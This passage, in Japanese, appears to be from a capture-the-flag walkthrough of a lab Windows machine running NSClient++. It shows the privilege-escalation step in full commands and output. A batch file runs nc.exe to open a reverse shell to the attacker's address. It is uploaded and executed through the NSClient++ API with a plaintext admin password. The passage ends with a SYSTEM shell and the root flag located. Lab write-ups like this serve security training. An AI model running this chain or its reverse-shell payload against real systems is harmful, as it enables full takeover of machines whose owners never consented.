攻撃マシンにて、Netcatリバースシェルを呼び出すためのバッチファイルを用意する。
└─$ cat evil.bat
@echo off
c:\users\nadine\nc.exe 10.10.16.174 443 -e cmd.exe
APIを利用して、バッチファイルを管理者としてアップロードする。(参考)
curl -s -k -u admin:ew2x6SsGTxjRwXOT -X PUT https://127.0.0.1:8443/api/v1/scripts/ext/scripts/evil.bat --data-binary @evil.bat
バッチファイルのアップロードに成功。
└─$ curl -s -k -u admin:ew2x6SsGTxjRwXOT -X PUT https://127.0.0.1:8443/api/v1/scripts/ext/scripts/evil.bat --data-binary @evil.bat
Added evil as scripts\evil.bat
アップロードしたバッチファイルを管理者として実行。(参考)
curl -s -k -u admin:ew2x6SsGTxjRwXOT "https://127.0.0.1:8443/api/v1/queries/evil/commands/execute?time=1m"
エラーメッセージが表示されたが、攻撃には差し支えない。
└─$ curl -s -k -u admin:ew2x6SsGTxjRwXOT "https://127.0.0.1:8443/api/v1/queries/evil/commands/execute?time=1m"
{"command":"evil","lines":[{"message":"Command evil didn't terminate within the timeout period 60s","perf":{}}],"result":3}
無事、標的マシンとの高権限シェルが成立した。
└─$ rlwrap nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.16.174] from (UNKNOWN) [10.129.227.77] 49703
Microsoft Windows [Version 10.0.17763.864]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Program Files\NSClient++>whoami
whoami
nt authority\system
rootユーザーフラグc:\users\administrator\desktop\root.txt
を発見。
C:\Program Files\NSClient++>dir c:\users\administrator\desktop
dir c:\users\administrator\desktop
Volume in drive C has no label.
Volume Serial Number is 20C1-47A1
Directory of c:\users\administrator\desktop
02/28/2022 06:56 PM <DIR> .
02/28/2022 06:56 PM <DIR> ..
12/31/2024 07:18 AM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 6,057,381,888 bytes free